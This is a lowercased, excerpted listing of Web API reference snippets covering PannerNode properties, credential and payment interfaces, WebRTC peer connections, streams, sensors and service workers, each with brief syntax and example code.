...they range between -1 and 1 const x = math.cos(radians); const z = math.sin(radians); // we hard-code the y component to 0, as y is the axis of rotation return [x, 0, z]; }; now we can create our audiocontext, an oscillator and a pannernode: const context = new audiocontext(); const osc = new oscillatornode(context); osc.type = 'sawtooth'; const panner = new pannernode(context); panner.panningmodel = 'hrtf'; next, we set up the cone of our spatialised sound, determining the area in which it can be heard: // this value determines the size of the area in which the sound volume is constant // if coneinnerangle == 30, it means that when the sound is rot...
PannerNode.orientationY - Web APIs
the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var orientationy = pannernode.orientationy; pannernode.orientationy.value = neworientationy; value an audioparam whose value is the y component of the direction the audio source is facing, in 3d cartesian coordinate space.
...they range between -1 and 1 const x = math.cos(radians); const z = math.sin(radians); // we hard-code the y component to 0, as y is the axis of rotation return [x, 0, z]; }; now we can create our audiocontext, an oscillator and a pannernode: const context = new audiocontext(); const osc = new oscillatornode(context); osc.type = 'sawtooth'; const panner = new pannernode(context); panner.panningmodel = 'hrtf'; next, we set up the cone of our spatialised sound, determining the area in which it can be heard: // this value determines the size of the area in which the sound volume is constant // if coneinnerangle == 30, it means that when the sound is rot...
PannerNode.orientationZ - Web APIs
the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var orientationz = pannernode.orientationz; pannernode.orientationz.value = neworientationz; value an audioparam whose value is the z component of the direction the audio source is facing, in 3d cartesian coordinate space.
...they range between -1 and 1 const x = math.cos(radians); const z = math.sin(radians); // we hard-code the y component to 0, as y is the axis of rotation return [x, 0, z]; }; now we can create our audiocontext, an oscillator and a pannernode: const context = new audiocontext(); const osc = new oscillatornode(context); osc.type = 'sawtooth'; const panner = new pannernode(context); panner.panningmodel = 'hrtf'; next, we set up the cone of our spatialised sound, determining the area in which it can be heard: // this value determines the size of the area in which the sound volume is constant // if coneinnerangle == 30, it means that when the sound is rot...
PannerNode.positionX - Web APIs
the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var positionx = pannernode.positionx; pannernode.positionx.value = newpositionx; value an audioparam whose value is the x coordinate of the audio source's position, in 3d cartesian coordinates.
... const context = new audiocontext(); const osc = new oscillatornode(context); const panner = new pannernode(context); panner.positionx.setvalueattime(-1, context.currenttime + 1); panner.positionx.setvalueattime(1, context.currenttime + 2); panner.positionx.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'positionx' in that specification.
PannerNode.positionY - Web APIs
the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var positiony = pannernode.positiony; pannernode.positiony.value = newpositiony; value an audioparam whose value is the y coordinate of the audio source's position, in 3d cartesian coordinates.
... const context = new audiocontext(); const osc = new oscillatornode(context); const panner = new pannernode(context); panner.panningmodel = 'hrtf'; panner.positiony.setvalueattime(1, context.currenttime + 1); panner.positiony.setvalueattime(-1, context.currenttime + 2); panner.positiony.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'posi...
PannerNode.positionZ - Web APIs
the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var positionz = pannernode.positionz; pannernode.positionz.value = newpositionz; value an audioparam whose value is the z coordinate of the audio source's position, in 3d cartesian coordinates.
... const context = new audiocontext(); const osc = new oscillatornode(context); const panner = new pannernode(context); panner.panningmodel = 'hrtf'; panner.positionz.setvalueattime(1, context.currenttime + 1); panner.positionz.setvalueattime(-1, context.currenttime + 2); panner.positionz.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition...
PannerNode.refDistance - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.refdistance = 1; value a non-negative number.
... const context = new audiocontext(); // all our test tones will last this many seconds const note_length = 6; // this is how far we'll move the sound const z_distance = 20; // this function creates a graph for the test tone with a given refdistance // and schedules it to move away from the listener along the z (depth-wise) axis // at the given start time, resulting in a decrease in volume (decay) const scheduletestt...
...one = (refdistance, starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.refdistance = refdistance; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay immediately and fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower and later than the previous one scheduletesttone(4, context.currenttime + note_length); // this tone should decay only slightly, and only start decaying fairly late scheduletesttone(7, context.currentt...
PannerNode.rolloffFactor - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.rollofffactor = 1; value a number whose range depends on the distancemodel of the panner as follows (negative values are not allowed): "linear" the range is 0 to 1.
... example this example demonstrates how different rollofffactor values affect how the volume of the test tone decreases with increasing distance from the listener: const context = new audiocontext(); // all our test tones will last this many seconds const note_length = 4; // this is how far we'll move the sound const z_distance = 20; // this function creates a graph for the test tone with a given rollofffactor // and schedules it to move away from the listener along the z (depth-wise) axis // at the given start time, resulting in a decrease in volume (decay) const scheduletesttone = (rollofffactor,...
... starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.rollofffactor = rollofffactor; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower than the previous one scheduletesttone(0.5, context.currenttime + note_length); // this tone should decay only slightly scheduletesttone(0.1, context.currenttime + note_length * 2); after running this code, the resulting waveforms ...
PasswordCredential - Web APIs
the passwordcredential constructor creates a new passwordcredential object.
... syntax var mycredential = new passwordcredential(passwordcredentialdata) var mycredential = new passwordcredential(htmlformelement) parameters either of the following: passwordcredentialdata a passwordcredentialdata dictionary containing the following fields: iconurl: (optional) the url of a user's avatar image.
... var form = document.queryselector('#form'); var creds = new passwordcredential(form); // store the credentials.
PaymentMethodChangeEvent - Web APIs
the paymentmethodchangeevent() constructor creates a new paymentmethodchangeevent object providing details about a paymentmethodchange event.
... syntax paymentmethodchangeevent = new paymentmethodchangeevent(type, options); parameters type a domstring which must contain the string paymentmethodchange, the name of the only type of event which uses the paymentmethodchangeevent interface.
... return value a newly-created paymentmethodchangeevent object describing a change to the options specified for the payment method given in the methodname property.
PaymentMethodChangeEvent.methodDetails - Web APIs
request.onpaymentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "visa": // do apple pay specific handling for visa card...
... // methoddetails contains the card information const result = calculatediscount(ev.methoddetails); object.assign(newstuff, result); break; } } // finally...
... ev.updatewith(newstuff); }; const response = await request.show(); note that the methoddetails property is being used by the calculatediscount() function to compute any payment discount, then updatewith() is called to update the event with the computed update.
PaymentMethodChangeEvent.methodName - Web APIs
request.onpaymentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "visa": // do apple pay specific handling for visa card...
... // methoddetails contains the card information const result = calculatediscount(ev.methoddetails); object.assign(newstuff, result); break; } } // finally...
... ev.updatewith(newstuff); }; const response = await request.show(); specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent.methodname' in that specification.
PaymentRequest.onpaymentmethodchange - Web APIs
examples an example payment method change handler is shown below; this example handles changes made to the payment method when using apple pay, specifically: request.onpaymentmethodchange = ev => { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "store": // do apple pay specific handling for store card...
... // methoddetails contains the store card information const result = calculatediscount(ev.methoddetails); object.assign(newstuff, result); break; } } // finally...
... ev.updatewith(newstuff); }; const response = await request.show(); specifications specification status comment payment request apithe definition of 'onpaymentmethodchange' in that specification.
PaymentRequestUpdateEvent.PaymentRequestUpdateEvent() - Web APIs
the paymentrequestupdateevent constructor creates a new paymentrequestupdateevent object which enables a web page to update the details of a paymentrequest in response to a user action.
... syntax var paymentrequestupdateevent = new paymentrequestupdateevent() parameters none.
... return value a new paymentrequestupdateevent object.payment request apithe definition of 'paymentrequestupdateevent' in that specification.
PerformanceEventTiming - Web APIs
examples the following example shows how to use the api for all events: const observer = new performanceobserver(function(list) { const perfentries = list.getentries().foreach(entry => { // full duration const inputduration = entry.duration; // input delay (before processing event) const inputdelay = entry.processingstart - entry.starttime; // synchronous event processing time (between start and end dispatch).
... (navigator.sendbeacon && navigator.sendbeacon('/analytics', body)) || fetch('/analytics', {body, method: 'post', keepalive: true}); } // use a try/catch instead of feature detecting `first-input` // support, since some browsers throw when using the new `type` option.
... const po = new performanceobserver((entrylist) => { entrylist.getentries().foreach(onfirstinputentry); }); // observe entries of type `first-input`, including buffered entries, // i.e.
PerformanceObserver - Web APIs
the performanceobserver interface is used to observe performance measurement events and be notified of new performance entries as they are recorded in the browser's performance timeline.
... constructor performanceobserver() creates and returns a new performanceobserver object.
... example function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver' in that specification.
PointerEvent.PointerEvent() - Web APIs
the pointerevent() constructor creates a new synthetic and untrusted pointerevent object instance.
... syntax event = new pointerevent(type, pointereventinit); arguments type is a domstring representing the name of the event (see pointerevent event types).
... example var moveevent = new pointerevent("pointermove"); var downevent = new pointerevent("pointerdown", {pointerid: 1, bubbles: true, cancelable: true, pointertype: "touch", width: 100, height: 100, isprimary: true }); ...
PublicKeyCredential - Web APIs
examples creating a new instance of publickeycredential here, we use navigator.credentials.create() to generate a new credential.
... var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; var clientextensionsresults = newcredentialinfo.getclientextensionresults(); }).catch(function (err) { console.error(err); }); getting an existing instance of publickeycredential here, we fetch an existing credential from an authenticator, using navigator.credentials.get().
... var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredential interface' in that specification.
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
this is provided by the relying party's server if it wants to prevent creation of new credentials for an existing user.
... if the authenticator already contains one of such a public key credential, the client will throw a domexception or asks the user if they want to create a new credential.
... examples var publickey = { excludecredentials: [ { type: "public-key", // the id for john.doe@example.com id : new uint8array(26) /* this actually is given by the server */ }, { type: "public-key", // the id for john-doe@example.com id : new uint8array(26) /* another id */ } ], challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation respon...
PushRegistrationManager - Web APIs
methods pushregistrationmanager.register() returns a promise that resolves to a pushregistration with details of a new registration.
...not for use in new websites.deprecated.
... not for use in new websites.
RTCConfiguration.iceServers - Web APIs
however, the new list of servers is used for any future renegotiation, such as while handling an ice restart.
... examples the configuration below opens a new peer connection, specifying two servers for the ice agent to use for negotiation.
... var configuration = { iceservers: [{ urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.iceservers' in that specification.
RTCConfiguration - Web APIs
if you don't provide certificates, new ones are generated automatically.
...this also avoids the cost of generating new keys.
... var configuration = { iceservers: [{ urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration' in that specification.
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
the rtcdtmftonechangeevent() constructor creates a new rtcdtmftonechangeevent.
... syntax var event = new rtcdtmftonechangeevent(type, options); parameters type a domstring containing the name of the event.
... return value a newly-created rtcdtmftonechangeevent, configured as specified in the provided options.
RTCDataChannel.onmessage - Web APIs
example this code snippet creates a peer connection, adds a data channel to it, and starts creating new <p> (paragraph) elements each time a message arrives, with the message's contents displayed inside it.
... the new elements are then attached to the end of the document.
... let pc = new rtcpeerconnection(); let dc = pc.createdatachannel(); dc.onmessage = function(event) { var el = document.createelement("p"); var txtnode = document.createtextnode(event.data); el.appendchild(txtnode); receivebox.appendchild(el); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onmessage' in that specification.
RTCDataChannel.readyState - Web APIs
this is the state of a new rtcdatachannel after being created by rtcpeerconnection.createdatachannel() (on the peer which started the connection process).
...this is the default state of a new rtcdatachannel created by the webrtc layer when the remote peer created the channel and delivered to the site or app in a datachannel event of type rtcdatachannelevent.
...it is no longer possible to queue new messages to be sent, but previously queued messages may still be send or received before entering the "closed" state.
RTCIceCandidateInit.candidate - Web APIs
the complete list of attributes for this example candidate is: foundation = 4234997325 component = "rtp" (the number 1 is encoded to this string; 2 becomes "rtcp") protocol = "udp" priority = 2043278322 ip = "192.168.0.56" port = 44323 type = "host" example when a new ice candidate is received by your signaling code from the remote peer, you need to construct the rtcicecandidate object that encapsulates it.
...if your client-side signaling layer builds and transmits a json string including the candidate to the remote peer, the remote peer might handle receiving that json message like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate({ candidate: msg.candidate; }); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } it's helpful to note that for backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate as its only input, in place of the rtcicecandidateinit dictionary.
... that usage would change the above sample to look like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate(msg.candidate); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.candidate' in that specification.
RTCOfferOptions.iceRestart - Web APIs
syntax var options = { icerestart: trueorfalse }; value a boolean value indicating whether or not the rtcpeerconnection should generate new values for the connection's ice-ufrag and ice-pwd values, which will trigger ice renegotiation on the next message sent to the remote peer.
... fundamentally, this renegotiation is triggered by generating and using new values for the ice username fragment ("ufrag")}} example this example shows a handler for the iceconnectionstatechange event.
...otherwise, we call back to the older technique: we manually create a new offer with icerestart set to true, then that offer is set as the new local description for the connection.
RTCPeerConnection() - Web APIs
the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local device and a remote peer.
... syntax pc = new rtcpeerconnection([configuration]); parameters configuration optional an rtcconfiguration dictionary providing options to configure the new connection.
... return value a newly-created rtcpeerconnection object, configured as described by configuration, if specified; otherwise, configured to appropriate basic defaults.
RTCPeerConnection.addIceCandidate() - Web APIs
when a web site or app using rtcpeerconnection receives a new ice candidate from the remote peer over its signaling channel, it delivers the newly-received candidate to the browser's ice agent by calling rtcpeerconnection.addicecandidate().
... this adds this new remote candidate to the rtcpeerconnection's remote description, which describes the state of the remote end of the connection.
... syntax apromise = pc.addicecandidate(candidate); addicecandidate(candidate, successcallback, failurecallback); parameters candidate optional an object conforming to the rtcicecandidateinit dictionary, or an rtcicecandidate object; the contents of the object should be constructed from a message received over the signaling channel, describing a newly received ice candidate that's ready to be delivered to the local ice agent.
RTCPeerConnection.addStream() - Web APIs
if the signalingstate is set to stable, the event negotiationneeded is sent on the rtcpeerconnection to indicate that ice negotiation must be repeated to consider the new stream.
... navigator.mediadevices.getusermedia({video:true, audio:true}, function(stream) { var pc = new rtcpeerconnection(); pc.addstream(stream); }); migrating to addtrack() compatibility allowing, you should update your code to instead use the addtrack() method: navigator.getusermedia({video:true, audio:true}, function(stream) { var pc = new rtcpeerconnection(); stream.gettracks().foreach(function(track) { pc.addtrack(track, stream); }); }); the newer addtrack() api avoids confusion over wheth...
...you can write web compatible code using feature detection instead: // add a track to a stream and the peer connection said stream was added to: stream.addtrack(track); if (pc.addtrack) { pc.addtrack(track, stream); } else { // if you have code listening for negotiationneeded events: settimeout(() => pc.dispatchevent(new event('negotiationneeded'))); } // remove a track from a stream and the peer connection said stream was added to: stream.removetrack(track); if (pc.removetrack) { pc.removetrack(pc.getsenders().find(sender => sender.track == track)); } else { // if you have code listening for negotiationneeded events: settimeout(() => pc.dispatchevent(new event('negotiationneeded'))); } specifications ...
RTCPeerConnection: connectionstatechange event - Web APIs
the connectionstatechange event is sent to the ontrack event handler on an rtcpeerconnection object after a new track has been added to an rtcrtpreceiver which is part of the connection.
... the new connection state can be found in connectionstate, and is one of the strings in the rtcpeerconnectionstate enumerated type.
... pc.onconnectionstatechange = ev => { switch(pc.connectionstate) { case "new": case "checking": setonlinestatus("connecting..."); break; case "connected": setonlinestatus("online"); break; case "disconnected": setonlinestatus("disconnecting..."); break; case "closed": setonlinestatus("offline"); break; case "failed": setonlinestatus("error"); break; default: setonlinestatus("unknown"...
RTCPeerConnection.getConfiguration() - Web APIs
example this example adds a new certificate to an active connection if it doesn't already have one in use.
... let configuration = mypeerconnection.getconfiguration(); if ((configuration.certificates != undefined) && (!configuration.certificates.length)) { rtcpeerconnection.generatecertificate({ name: 'rsassa-pkcs1-v1_5', hash: 'sha-256', moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]) }).then(function(cert) { configuration.certificates = [cert]; mypeerconnection.setconfiguration(configuration); }); } this example fetches the current configuration of the rtcpeerconnection, then looks to see if it has any certificates set by examining whether or not (a) the configuration has a value for certificates, and (b) whether its length is zero.
... if it's determined that there are no certificates in place, rtcpeerconnection.generatecertificate() is called to create a new certificate; we provide a fulfillment handler which adds a new array containing the one newly-created certificate to the current configuration and passes it to setconfiguration() to add the certificate to the connection.
RTCPeerConnection.iceGatheringState - Web APIs
constant description "new" the peer connection was just created and hasn't done any networking yet.
...if something happens that requires collecting new candidates, such as a new interface being added or the addition of a new ice server, the state will revert to "gathering" to gather those candidates.
... example var pc = new rtcpeerconnection(); var state = pc.icegatheringstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.icegatheringstate' in that specification.
RTCPeerConnection.onicegatheringstatechange - Web APIs
you can determine the new state of ice gathering by looking at the value of the rtcpeerconnection.icegatheringstate property.
... example this example updates status information presented to the user to let them know what's happening by examining the current value of the icegatheringstate property each time it changes and changing the contents of a status display based on the new information.
... the status is simply presented as text in a <div> element: <div id="icestatus"></div> the actual event handler looks like this: pc.onicegatheringstatechange = function() { let label = "unknown"; switch(pc.icegatheringstate) { case "new": case "complete": label = "idle"; break; case "gathering": label = "determining route"; break; } document.getelementbyid("icestatus").innerhtml = label; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onicegatheringstatechange' in that specification.
RTCPeerConnection.ontrack - Web APIs
the function receives as input the event object, of type rtctrackevent; this event is sent when a new incoming mediastreamtrack has been created and associated with an rtcrtpreceiver object which has been added to the set of receivers on connection.
... syntax rtcpeerconnection.ontrack = eventhandler; value set ontrack to be a function you provide that accepts as input a rtctrackevent object describing the new track and how it's being used.
... this information includes the mediastreamtrack object representing the new track, the rtcrtpreceiver and rtcrtptransceiver, and a list of mediastream objects which indicates which stream or streams the track is part of..
RTCPeerConnection: peeridentity event - Web APIs
the new identiy can be access using the rtcpeerconnection.peeridentity property.
...once resolved, its value is the new identity.
... examples for the correct way to detect a new peer identity, see rtcpeerconnection.peeridentity.
RTCPeerConnectionIceEvent() - Web APIs
the rtcpeerconnectioniceevent() constructor creates a new rtcpeerconnectioniceevent.
... syntax var event = new rtcpeerconnectioniceevent(type, options); parameters type is a domstring containing the name of the event, like "icecandidate".
... return value a newly-created rtcpeerconnectioniceevent, configured as specified in the provided options.
RTCRtpTransceiverInit - Web APIs
the rtcrtptransceiverinit dictionary is used when calling the webrtc function rtcpeerconnection.addtransceiver() to provide configuration options for the new transceiver.
... properties direction optional the new transceiver's preferred directionality.
... this value is used to initialize the new rtcrtptransceiver object's rtcrtptransceiver.direction property.
RTCSessionDescription() - Web APIs
the rtcsessiondescription() constructor creates a new rtcsessiondescription with its properties initialized as described in the specified object.
... syntax sessiondescription = new rtcsessiondescription(rtcsessiondescriptioninit); values rtcsessiondescriptioninit optional an object providing the default values for the session description; the object conforms to the rtcsessiondescriptioninit dictionary.
... navigator.getusermedia({video: true}, function(stream) { pc.onaddstream({stream: stream}); // adding a local stream won't trigger the onaddstream callback pc.addstream(stream); pc.createoffer(function(offer) { pc.setlocaldescription(new rtcsessiondescription(offer), function() { // send the offer to a server to be forwarded to the friend you're calling.
RTCTrackEvent() - Web APIs
the rtctrackevent() constructor creates and returns a new rtctrackevent object, configured to describe the track which has been added to the rtcpeerconnection.
... syntax trackevent = new rtctrackevent(eventinfo); parameters eventinfo an object based on the rtctrackeventinit dictionary, providing information about the track which has been added to the rtcpeerconnection.
... return value a new rtctrackevent describing a track which has been added to the rtcpeerconnection.
Range() - Web APIs
WebAPIRangeRange
the range() constructor returns a newly created range object whose start and end is the global document object.
... syntax range = new range() example in this example we create a new range with the range() constructor, and set its beginning and end positions using the range.setstartbefore() and range.setendafter() methods.
... html <p>first paragraph.</p> <p>second paragraph.</p> <p>third paragraph.</p> <p>fourth paragraph.</p> javascript const paragraphs = document.queryselectorall('p'); // create new range const range = new range(); // start range at second paragraph range.setstartbefore(paragraphs[1]); // end range at third paragraph range.setendafter(paragraphs[2]); // get window selection const selection = window.getselection(); // add range to window selection selection.addrange(range); result specification specification status comment domthe definition of 'range.range()' in that specification.
ReadableStream - Web APIs
readablestream.tee() the tee method tees this readable stream, returning a two-element array containing the two resulting branches as new readablestream instances.
... fetch("https://www.example.org/").then((response) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" reader.read().then(({ done, value }) => { // is there no more data to read?
... if (done) { // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestream' in that specification.
RelativeOrientationSensor - Web APIs
constructor relativeorientationsensor.relativeorientationsensor() creates a new relativeorientationsensor object.
... const options = { frequency: 60, referenceframe: 'device' }; const sensor = new relativeorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere.
... const sensor = new relativeorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.start(); ...
ReportingObserver() - Web APIs
the reportingobserver() constructor of the reporting api creates a new reportingobserver object instance, which can be used to collect and access reports.
... syntax new reportingobserver(callback[, options]); parameters callback a callback function that runs when the observer starts to collect reports (i.e.
... examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); specifications specification status comment reporting apithe definition of 'reportingobserver()' in that specification.
Request.cache - Web APIs
WebAPIRequestcache
// in reality; this would be a function that takes a path and a // reference to the controller since it would need to change the value let controller = new abortcontroller(); fetch("some.json", {cache: "only-if-cached", mode: "same-origin", signal: controller.signal}) .catch(e => e instanceof typeerror && e.message === "failed to fetch" ?
... ({status: 504}) : // workaround for chrome; which simply fails with a typeerror promise.reject(e)) .then(res => { if (res.status === 504) { controller.abort() controller = new abortcontroller(); return fetch("some.json", {cache: "force-cache", mode: "same-origin", signal: controller.signal}) } const date = res.headers.get("date"), dt = date ?
... new date(date).gettime() : 0 if (dt < (date.now() - 86400000)) { // if older than 24 hours controller.abort() controller = new abortcontroller(); return fetch("some.json", {cache: "reload", mode: "same-origin", signal: controller.signal}) } // other possible conditions if (dt < (date.now() - 300000)) // if it's older than 5 minutes fetch("some.json", {cache: "no-cache", mode: "same-origin"}) // no cancellation or return value.
Request.clone() - Web APIs
WebAPIRequestclone
syntax var newrequest = request.clone(); parameters none.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then clone the request.
... var myrequest = new request('flowers.jpg'); var newrequest = myrequest.clone(); // a copy of the request is now stored in newrequest specifications specification status comment fetchthe definition of 'clone' in that specification.
ResizeObserverEntry.borderBoxSize - Web APIs
the borderboxsize read-only property of the resizeobserverentry interface returns an array containing the new border box size of the observed element when the callback is run.
... syntax var myborderboxsize = resizeobserverentry.borderboxsize; value an array containing objects with the new border box size of the observed element.
... examples const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.borderboxsize && entry.borderboxsize.length > 0) { entry.target.style.borderradius = math.min(100, (entry.borderboxsize[0].inlinesize/10) + (entry.borderboxsize[0].blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.conten...
ResizeObserverEntry.contentBoxSize - Web APIs
the contentboxsize read-only property of the resizeobserverentry interface returns an array containing the new content box size of the observed element when the callback is run.
... syntax var mycontentboxsize = resizeobserverentry.contentboxsize; value an object containing the new content box size of the observed element.
... const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { entry.target.style.borderradius = math.min(100, (entry.contentboxsize.inlinesize/10) + (entry.contentboxsize.blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.contentrect.width/10) + ...
Response() - Web APIs
WebAPIResponseResponse
the response() constructor creates a new response object.
... syntax var myresponse = new response(body, init); parameters body optional an object defining a body for the response.
... examples in our fetch response example (see fetch response live) we create a new response object using the constructor, passing it a new blob as a body, and an init object containing a custom status and statustext: var myblob = new blob(); var init = { "status" : 200 , "statustext" : "supersmashinggreat!" }; var myresponse = new response(myblob,init); specifications specification status comment fetchthe definition of 'response()' in that specificati...
SecurityPolicyViolationEvent.SecurityPolicyViolationEvent() - Web APIs
the securitypolicyviolationevent constructor creates a new securitypolicyviolationevent object instance.
... syntax let spvevt = new securitypolicyviolationevent(type, eventinitdict); properties type a domstring representing the type of security policy violation that occurred.
... example let spvevt = new securitypolicyviolationevent('foo', { ...
Sensor APIs - Web APIs
let accelerometer = null; try { accelerometer = new accelerometer({ referenceframe: 'device' }); accelerometer.addeventlistener('error', event => { // handle runtime errors.
... const sensor = new absoluteorientationsensor(); sensor.start(); sensor.onerror = event => { if (event.error.name === 'securityerror') console.log("no permissions to use absoluteorientationsensor."); }; the following table describes for each sensor type, the name required for the permissions api, the <iframe> element's allow attribute and the feature-policy directive.
... let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }) magsensor.addeventlistener('error', event => { console.log(event.error.name, event.error.message); }) magsensor.start(); ...
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
the serviceworkermessageevent() constructor creates a new serviceworkermessageevent object instance.
... syntax var myswme = new serviceworkermessageevent(type, init); parameters type a domstring that defines the type of the message event being created.
... examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myswme = new serviceworkermessageevent('message', init); ...
ServiceWorkerRegistration - Web APIs
event handlers serviceworkerregistration.onupdatefound read only an eventlistener property called whenever an event of type updatefound is fired; it is fired any time the serviceworkerregistration.installing property acquires a new service worker.
... if ('serviceworker' in navigator) { navigator.serviceworker.register('/sw.js') .then(function(registration) { registration.addeventlistener('updatefound', function() { // if updatefound is fired, it means that there's // a new service worker being installed.
... var installingworker = registration.installing; console.log('a new service worker is being installed:', installingworker); // you can listen for changes to the installing service worker's // state via installingworker.onstatechange }); }) .catch(function(error) { console.log('service worker registration failed:', error); }); } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkerregistration' in that specification.
SourceBuffer.abort() - Web APIs
a buffer is being appended but the operation has not yet completed) a user "scrubs" the video seeking to a new point in time.
... in this case you would want to manually call abort() on the source buffer to stop the decoding of the current buffer, then fetch and append the newly requested segment that relates to the current new position of the video.
...in lines 92-101, the seek() function is defined — note that abort() is called if mediasource.readystate is set to open, which means that it is ready to receive new source buffers — at this point it is worth aborting the current segment and just getting the one for the new seek position (see checkbuffer() and getcurrentsegment().) specifications specification status comment media source extensionsthe definition of 'abort()' in that specification.
SourceBuffer - Web APIs
sourcebuffer.changetype() changes the mime type that future calls to appendbuffer() will expect the new data to conform to.
... live here (you can also download the source for further investigation.) var video = document.queryselector('video'); var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource(); //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecode...
